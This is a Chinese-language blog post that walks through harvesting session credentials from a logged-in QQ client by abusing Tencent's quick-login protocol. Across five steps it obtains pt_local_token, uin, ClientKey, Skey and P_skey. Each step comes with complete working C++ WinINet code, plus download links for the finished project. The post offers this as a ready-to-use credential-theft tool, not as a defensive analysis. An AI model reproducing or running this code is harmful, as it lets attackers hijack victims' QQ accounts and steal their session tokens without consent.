本文主要通过利用腾讯网页快捷登录协议来模拟访问并截取已登录 QQ 客户端的Token、Uin、ClientKey、Skey、P_skey等。

Step 1、

https://ssl.xui.ptlogin2.weiyun.com/cgi-bin/xlogin?appid=527020901&daid=372&low_login=0&qlogin_auto_login=1&s_url=https://www.weiyun.com/web/callback/common_qq_login_ok.html?login_succ&style=20&hide_title=1&target=self&link_target=blank&hide_close_icon=1&pt_no_auth=1

初始化地址、建立会话并发送请求,从返回的数据中查找pt_local_token的值。

浏览器中的数据(pt_local_token 的值在 Headers -> Response Headers -> Set-Cookie 中)

实现代码:

        // 初始化URL
URL_COMPONENTSA crackedURL = { 0 }; char URL_STRING[] = "https://ssl.xui.ptlogin2.weiyun.com/cgi-bin/xlogin?appid=527020901&daid=372&low_login=0&qlogin_auto_login=1&s_url=https://www.weiyun.com/web/callback/common_qq_login_ok.html?login_succ&style=20&hide_title=1&target=self&link_target=blank&hide_close_icon=1&pt_no_auth=1"; char szHostName[128] = { 0 };
char szUrlPath[256] = { 0 }; crackedURL.dwStructSize = sizeof(URL_COMPONENTSA);
crackedURL.lpszHostName = szHostName;
crackedURL.dwHostNameLength = ARRAYSIZE(szHostName);
crackedURL.lpszUrlPath = szUrlPath;
crackedURL.dwUrlPathLength = ARRAYSIZE(szUrlPath);
InternetCrackUrlA(URL_STRING, (DWORD)strlen(URL_STRING), 0, &crackedURL); // 初始化会话
HINTERNET hInternet = InternetOpenA("Microsoft Internet Explorer", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
if (hInternet != NULL){
HINTERNET hHttpSession = InternetConnectA(hInternet, crackedURL.lpszHostName, INTERNET_DEFAULT_HTTPS_PORT, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0);
if (hHttpSession != NULL){
HINTERNET hHttpRequest = HttpOpenRequestA(hHttpSession, "GET", crackedURL.lpszUrlPath, NULL, "", NULL, INTERNET_FLAG_SECURE, 0);
if (hHttpRequest != NULL){
BOOL bRet = FALSE;
// 发送HTTP请求
bRet = HttpSendRequest(hHttpRequest, NULL, 0, NULL, 0);
if (bRet){
// 查询HTTP请求状态
DWORD dwRetCode = 0;
DWORD dwSizeOfRq = sizeof(DWORD);
bRet = HttpQueryInfo(hHttpRequest, HTTP_QUERY_STATUS_CODE | HTTP_QUERY_FLAG_NUMBER, &dwRetCode, &dwSizeOfRq, NULL);
if (bRet){
// 读取整个Headers
char lpHeaderBuffer[1024] = { 0 };
dwSizeOfRq = 1024;
HttpQueryInfo(hHttpRequest, HTTP_QUERY_RAW_HEADERS, lpHeaderBuffer, &dwSizeOfRq, NULL);
// 提取 pt_local_token 的值
char* pt_local_token = lpHeaderBuffer + dwSizeOfRq;
while (pt_local_token != lpHeaderBuffer){
if (strstr(pt_local_token, "pt_local_token=")){
pt_local_token += sizeof("pt_local_token");
char* pEndBuffer = strstr(pt_local_token, ";");
*pEndBuffer = 0;
break;
}
pt_local_token--;
} // 关闭句柄
InternetCloseHandle(hHttpRequest);
InternetCloseHandle(hHttpSession); cout << "[+] pt_local_token:" << pt_local_token << "\r\n" << endl;
}
}
}
}
}

Step 2、

https://localhost.ptlogin2.weiyun.com:4301/pt_get_uins?callback=ptui_getuins_CB&r=0.6694805047494219&pt_local_tk=pt_local_token

利用Step1获取的pt_local_token值构造地址并发送请求获取已登录的QQ uin。

请求需要带入Referer: https://ssl.xui.ptlogin2.weiyun.com/

端口从4301 ~ 4309(如本机只登录了一个QQ号,那必然会是默认的4301端口)

浏览器中的返回数据(在 Response 中)

var var_sso_uin_list=[{"uin":25XXXXXXX3,"face_index":525,"gender":0,"nickname":"XXXXXXX","client_type":65793,"uin_flag":8388608,"account":25XXXXXXX3}];ptui_getuins_CB(var_sso_uin_list);

实现代码:

    /* 二次会话 */

    //生成16位随机数
time_t seed = time(NULL);
srand((unsigned)seed); CString szRand1 = "", szRand2 = ""; for (int j = 0; j < 16; j++)
{
switch ((rand() % 2))
{
case 1:
szRand1.Format("%C", rand() % 5 + 48);
break;
default:
szRand1.Format("%C", rand() % 5 + 53);
}
szRand2 += szRand1;
Sleep(50);
} char *szRandNum = szRand2.GetBuffer(szRand2.GetLength() + 1);
szRand2.ReleaseBuffer(); // 初始化URL参数
char lpszUrlPath[1024] = { 0 };
strcat(lpszUrlPath, "/pt_get_uins?callback=ptui_getuins_CB&r=0.");
strcat(lpszUrlPath, szRandNum); // 追加16位随机数
strcat(lpszUrlPath, "&pt_local_tk=");
strcat(lpszUrlPath, pt_local_token); // 追加pt_local_token // 建立会话
hHttpSession = InternetConnectA(hInternet, "localhost.ptlogin2.weiyun.com", 4301, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0);
if (NULL != hHttpSession)
{
hHttpRequest = HttpOpenRequestA(hHttpSession, "GET", lpszUrlPath, NULL, "", NULL, INTERNET_FLAG_SECURE, 0);
if (NULL != hHttpRequest)
{
// 发送HTTP请求,添加头信息
char lpHeaders[] = "Referer:https://ssl.xui.ptlogin2.weiyun.com/";
bRet = HttpSendRequestA(hHttpRequest, lpHeaders, strlen(lpHeaders), NULL, 0);
if (bRet)
{
// 查询HTTP请求状态
dwRetCode = 0;
dwSizeOfRq = sizeof(DWORD);
bRet = HttpQueryInfo(hHttpRequest, HTTP_QUERY_STATUS_CODE | HTTP_QUERY_FLAG_NUMBER, &dwRetCode, &dwSizeOfRq, NULL);
if (bRet)
{
// 获取返回数据的大小
DWORD dwNumberOfBytesAvailable = 0;
bRet = InternetQueryDataAvailable(hHttpRequest, &dwNumberOfBytesAvailable, NULL, NULL);
if (bRet)
{
// 读取网页内容
char* lpBuffer = new char[dwNumberOfBytesAvailable + 1]();
bRet = InternetReadFile(hHttpRequest, lpBuffer, dwNumberOfBytesAvailable, &dwNumberOfBytesAvailable);
if (bRet)
{
// 提取 QQ uin
char* uin = lpBuffer + dwNumberOfBytesAvailable;
while (uin != lpBuffer)
{
if (strstr(uin, "\"uin\":"))
{
uin += sizeof("\"uin\":") - 1;
char* pEndBuffer = strstr(uin, "}");
*pEndBuffer = 0;
break;
}
uin--;
} // 关闭句柄
InternetCloseHandle(hHttpRequest);
InternetCloseHandle(hHttpSession); cout << "[+] uin:" << uin << "\r\n" << endl; delete[] lpBuffer;
}
}
}
}
}

Step 3、

https://localhost.ptlogin2.weiyun.com:4301/pt_get_st?clientuin= uin&pt_local_tk= pt_local_token

截取 QQ ClientKey

利用Step1获取到的pt_local_token与Step2获取到QQ uin构造地址并发送请求。

请求需要带入 Referer: https://ssl.xui.ptlogin2.weiyun.com/

浏览器中的数据(在 Cookies -> Response Cookies 中)

实现代码:

    /* 三次会话 */

    // 构造 URL
ZeroMemory(lpszUrlPath, 1024);
strcat(lpszUrlPath, "/pt_get_st?clientuin=");
strcat(lpszUrlPath, uin);
strcat(lpszUrlPath, "&pt_local_tk=");
strcat(lpszUrlPath, pt_local_token); // 发送HTTPS请求
hHttpSession = InternetConnectA(hInternet, "localhost.ptlogin2.weiyun.com", 4301, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0);
if (NULL != hHttpSession)
{
hHttpRequest = HttpOpenRequestA(hHttpSession, "GET", lpszUrlPath, NULL, "", NULL, INTERNET_FLAG_SECURE, 0);
if (NULL != hHttpRequest)
{
// 添加头信息
char lpHeaders2[] = "Referer:https://ssl.xui.ptlogin2.weiyun.com/";
bRet = HttpSendRequestA(hHttpRequest, lpHeaders2, strlen(lpHeaders2), NULL, 0);
if (bRet)
{
// 查询HTTP请求状态
dwRetCode = 0;
dwSizeOfRq = sizeof(DWORD);
bRet = HttpQueryInfoA(hHttpRequest, HTTP_QUERY_STATUS_CODE | HTTP_QUERY_FLAG_NUMBER, &dwRetCode, &dwSizeOfRq, NULL);
if (bRet)
{
// 读取整个Headers
ZeroMemory(lpHeaderBuffer, 1024);
dwSizeOfRq = 1024;
bRet = HttpQueryInfoA(hHttpRequest, HTTP_QUERY_RAW_HEADERS, lpHeaderBuffer, &dwSizeOfRq, NULL);
if (bRet)
{
// 提取 ClientKey 的值
char* clientkey = lpHeaderBuffer + dwSizeOfRq;
while (clientkey != lpHeaderBuffer)
{
if (strstr(clientkey, "clientkey="))
{
clientkey += sizeof("clientkey");
char* pEndBuffer = strstr(clientkey, ";");
*pEndBuffer = 0;
break;
}
clientkey--;
} // 关闭句柄
InternetCloseHandle(hHttpRequest);
InternetCloseHandle(hHttpSession); cout << "[+] clientkey:" << clientkey << "\r\n" << endl;
}
}
}
}
}

Step 4、

https://ptlogin2.qq.com/jump?clientuin= uin &clientkey= ClientKey &keyindex=9&u1=https://www.weiyun.com/web/callback/common_qq_login_ok.html?login_succ&pt_local_tk=&pt_3rd_aid=0&ptopt=1&style=40

获取 Skey 并提取 ptsigx 的值

利用Step 2的QQ uin与Step 3获取的ClientKey构造地址并发送请求。

请求需要带入 Referer:https://ptlogin2.qq.com/

浏览器中的数据(Skey 在 Cookies -> Response Cookies 中)

实现代码:

    /* 四次会话 */

    // 构造 URL
ZeroMemory(lpszUrlPath, 1024);
strcat(lpszUrlPath, "/jump?clientuin=");
strcat(lpszUrlPath, uin);
strcat(lpszUrlPath, "&clientkey=");
strcat(lpszUrlPath, clientkey);
strcat(lpszUrlPath, "&keyindex=9&u1=https://www.weiyun.com/web/callback/common_qq_login_ok.html?login_succ&pt_local_tk=&pt_3rd_aid=0&ptopt=1&style=40"); // 发送HTTPS请求
hHttpSession = InternetConnectA(hInternet, "ptlogin2.qq.com", INTERNET_DEFAULT_HTTPS_PORT, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0);
if (NULL != hHttpSession)
{
hHttpRequest = HttpOpenRequestA(hHttpSession, "GET", lpszUrlPath, NULL, "", NULL, INTERNET_FLAG_SECURE, 0);
if (NULL != hHttpRequest)
{
// 添加Referer
char lpReferer[128] = { 0 };
strcpy(lpReferer, "Referer: ");
strcat(lpReferer, "https://ptlogin2.qq.com/");
strcat(lpReferer, "\r\n"); HttpAddRequestHeaders(hHttpRequest, lpReferer, -1L, HTTP_ADDREQ_FLAG_ADD); bRet = HttpSendRequestA(hHttpRequest, NULL, NULL, NULL, 0);
if (bRet)
{
// 查询HTTP请求状态
dwRetCode = 0;
dwSizeOfRq = sizeof(DWORD);
bRet = HttpQueryInfoA(hHttpRequest, HTTP_QUERY_STATUS_CODE | HTTP_QUERY_FLAG_NUMBER, &dwRetCode, &dwSizeOfRq, NULL);
if (bRet)
{
// 获取返回数据的大小
DWORD dwNumberOfBytesAvailablex = 0;
InternetQueryDataAvailable(hHttpRequest, &dwNumberOfBytesAvailablex, NULL, NULL); // 读取返回的 Response 数据
char* lpBufferx = new char[dwNumberOfBytesAvailablex + 1]();
InternetReadFile(hHttpRequest, lpBufferx, dwNumberOfBytesAvailablex, &dwNumberOfBytesAvailablex); // 输出 Response 数据
cout << "[+] Response Data:" << lpBufferx << "\r\n" << endl; // 从返回数据中提取 ptsigx 备用
char* ptsigx = lpBufferx + dwNumberOfBytesAvailablex;
while (ptsigx != lpBufferx)
{
if (strstr(ptsigx, "check_sig?"))
{
ptsigx += sizeof("check_sig");
char* pEndBuffer = strstr(ptsigx, "'");
*pEndBuffer = 0;
break;
}
ptsigx--;
} // 构造 ptsigx URL
CString szPtsigx = "";
szPtsigx.Format(TEXT("/check_sig?%s"), ptsigx); cout << "[+] szPtsigx:" << szPtsigx << "\r\n" << endl; delete[] lpBufferx; // 读取整个Headers
ZeroMemory(lpHeaderBuffer, 1024);
dwSizeOfRq = 1024;
HttpQueryInfoA(hHttpRequest, HTTP_QUERY_RAW_HEADERS_CRLF, lpHeaderBuffer, &dwSizeOfRq, NULL); // 提取 skey 的值
char* skey = lpHeaderBuffer + dwSizeOfRq;
while (skey != lpHeaderBuffer)
{
if (strstr(skey, "skey="))
{
skey += sizeof("skey");
char* pEndBuffer = strstr(skey, ";");
*pEndBuffer = 0;
break;
}
skey--;
} // 关闭句柄
InternetCloseHandle(hHttpRequest);
InternetCloseHandle(hHttpSession); cout << "[+] Skey:" << skey << "\r\n" << endl;
}
}
}
}

Step 5、

获取 P_skey

通过Step 4构造的 ptsigx URL 建立会话并发送请求。

浏览器中的数据(P_skey 在 Headers -> Response Headers -> Set-Cookie 中)

实现代码:

    /* 五次会话 */

    char *u_Ptsigx = szPtsigx.GetBuffer(szPtsigx.GetLength() + 1);
szPtsigx.ReleaseBuffer(); // 发送HTTPS请求
hHttpSession = InternetConnectA(hInternet, "ssl.ptlogin2.weiyun.com", INTERNET_DEFAULT_HTTPS_PORT, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0);
if (NULL != hHttpSession)
{
hHttpRequest = HttpOpenRequestA(hHttpSession, "GET", u_Ptsigx, NULL, "", NULL, INTERNET_FLAG_SECURE, 0);
if (NULL != hHttpRequest)
{
bRet = HttpSendRequestA(hHttpRequest, NULL, NULL, NULL, 0);
if (bRet)
{
// 查询HTTP请求状态
dwRetCode = 0;
dwSizeOfRq = sizeof(DWORD);
bRet = HttpQueryInfoA(hHttpRequest, HTTP_QUERY_STATUS_CODE | HTTP_QUERY_FLAG_NUMBER, &dwRetCode, &dwSizeOfRq, NULL);
if (bRet)
{
// 读取整个Headers
ZeroMemory(lpHeaderBuffer, 1024);
dwSizeOfRq = 1024;
HttpQueryInfoA(hHttpRequest, HTTP_QUERY_RAW_HEADERS_CRLF, lpHeaderBuffer, &dwSizeOfRq, NULL); // 提取 p_skey 的值
char* pskey = lpHeaderBuffer + dwSizeOfRq;
while (pskey != lpHeaderBuffer)
{
if (strstr(pskey, "p_skey="))
{
pskey += sizeof("p_skey");
char* pEndBuffer = strstr(pskey, ";");
*pEndBuffer = 0;
break;
}
pskey--;
} cout << "[+] P_skey:" << pskey << "\r\n" << endl;
}
}
}
}

至此所有数据已全部获取完毕,另外还有获取QQ好友、QQ群数据等等,下回再详细列举,如使用过程中有任何BUG或代码失效可以私信联系处理(有空的话)。

测试项目下载

【蓝奏云下载】(提取码:eh9v)

【百度云下载】(提取码:wqau)

利用腾讯快捷登录协议截取 QQ ClientKey / QQKey 实战课程的更多相关文章

  1. ECshop 快捷登录插件 支持QQ 支付宝 微博

    亲自测试可以使用,分享给大家.(承接各种EcShop改版,二次开发等相关项目 QQ:377898650) 安装的时候按照里面说明.安装即可. 代码下载:http://pan.baidu.com/s/1 ...

  2. QQ快速登录协议分析以及风险反思

    前言 众所周知,Tencent以前使用Activex的方式实施QQ快速登录,现在快速登录已经不用控件了.那现在用了什么奇葩的方法做到Web和本地的应用程序交互呢?其实猜测一下,Web和本地应用进行交互 ...

  3. 实现OAUTH协议 实现 QQ 第三方登录效果

    1.OAuth的简述 OAuth(Open Authorization,开放授权)是为用户资源的授权定义了一个安全.开放及简单的标准,第三方无需知道用户的账号及密码,就可获取到用户的授权信息,并且这是 ...

  4. 单点登录技术:微软Passport单点登录协议和自由联盟规范

    随着互联网络应用的普及,越来越多的人开始使用互联网上提供的服务.然而目前提供服务的网站大多采用用户名.口令的方式来识别用户身份,这使得用户需要经常性的输入自己的用户名.口令.显然这种认证方式存在着弊端 ...

  5. C# WinForm 使用SMTP协议发送QQ邮箱验证码

    文章来自:https://blog.csdn.net/IT_xiao_guang_guang/article/details/104336604 前言   在程序设计中,发送验证码是常见的一个功能,用 ...

  6. 第三方账号登录--QQ登录,以及QQ微博账号登录

    在QQ登陆测试的时候,刚申请正常登陆,但是由于app未上线,或许是腾讯升级造成的个别时候QQ登陆无法成功会提示下图代码,功能上没啥问题,已经达到 测试效果了.附上腾讯错误代码图(大家测试QQ登陆的时候 ...

  7. 告别S! S! H!秒杀终端工具——FastLogin快捷登录

    题记:自从接触到"跳板机"的概念后,一直就被烦不胜烦的机器名,ip地址,用户名,密码折腾的死去活来,心说能有个小精灵随时帮我输入那些重复的登录信息就好了.我见过最挫的方式就是用记事 ...

  8. Loadrunner 脚本开发-利用loadrunner开发Windows Sockets协议脚本

    脚本开发-利用loadrunner开发Windows Sockets协议脚本 by:授客 QQ:1033553122 欢迎加入软件性能测试交流QQ群:7156436 实践举例 Socket服务端简单实 ...

  9. 【原创】python模拟腾讯网页登录

    近日,研究Tencent网页模拟登录的过程,过程有些忐忑,但最终还是实现了这一功能.先将结果写于此,供大家参考: 其加密过程在c_login_old.js文件中执行,将JS关键代码提取出来如下: fu ...

  10. 如何利用腾讯云COS为静态博客添加动态相册

    前言 本文首发于个人网站Jianger's Blog,欢迎访问订阅.个人博客小站刚建站不久,想着除了主题里的功能外再添加上相册模块,于是半搜索半摸索把相册模块搞出来了,最后采用了利用腾讯云对象存储作图 ...

随机推荐

  1. Solution -「HDU 3507」Print Article

    Description Link. 给出 \(N\) 个单词,每个单词有个非负权值 \(C_{i}\),现要将它们分成连续的若干段,每段的代价为此段单词的权值和,还要加一个常数 \(M\),即 \(( ...

  2. hadoop集群搭建及编程实践

    Hadoop集群搭建 前期准备及JDK,hadoop安装 设置主机名和添加主机映射 验证连通性 SSH无密码登录 配置集群/分布式环境 修改workers 修改文件core-site.xml 修改hd ...

  3. 入门篇-其之五-Java运算符(上)

    一元运算符之正负号 Java支持多种一元运算符,一元运算符中的"一元"是指一个操作数.我们初中学过的正负号就属于一元运算符,因为正负号后面只有一个数字. 正数使用+表示,其中+可以 ...

  4. FFMPEG+SDL简单视频播放器——视频快进

    之前写过一篇关于视频播放器的文章.播放器只简单实现了视频播放的功能,在此功能的基础上,给它加上一个视频快进的功能. 实现 添加参数 // video play control bool do_seek ...

  5. Go 代码块与作用域,变量遮蔽问题详解

    Go 代码块与作用域详解 目录 Go 代码块与作用域详解 一.引入 二.代码块 (Block) 2.1 代码块介绍 2.2 显式代码块 2.3 隐式代码块 2.4 空代码块 2.5 支持嵌套代码块 三 ...

  6. 使用 Kubernetes 简化平台工程

    平台工程在现代应用程序开发和部署中发挥的作用至关重要.随着软件应用程序变得越来越复杂和分散,对稳健且可扩展的基础设施的需求变得越来越重要.这就是平台工程的作用所在,它是支持整个软件开发生命周期的支柱. ...

  7. Vue之class的用法

    Vue中class的使用总结如下: 使用形式v-bind:class  简写:class 1.在数组中使用一个class <!DOCTYPE html> <html lang=&qu ...

  8. 17. 从零开始编写一个类nginx工具, Rust中一些功能的实现

    wmproxy wmproxy将用Rust实现http/https代理, socks5代理, 反向代理, 静态文件服务器,后续将实现websocket代理, 内外网穿透等, 会将实现过程分享出来, 感 ...

  9. 【matplotlib 实战】--热力图

    热力图,是一种通过对色块着色来显示数据的统计图表.它通过使用颜色编码来表示数据的值,并在二维平面上呈现出来.热力图通常用于显示大量数据点的密度.热点区域和趋势. 绘图时,一般较大的值由较深的颜色表示, ...

  10. Nodejs环境打包前端项目

    Node.js 在Linux下安装和环境搭建/编译项目 安装nodejs:1.下载nodejs源码包 wget https://nodejs.org/dist/v14.16.0/node-v14.16 ...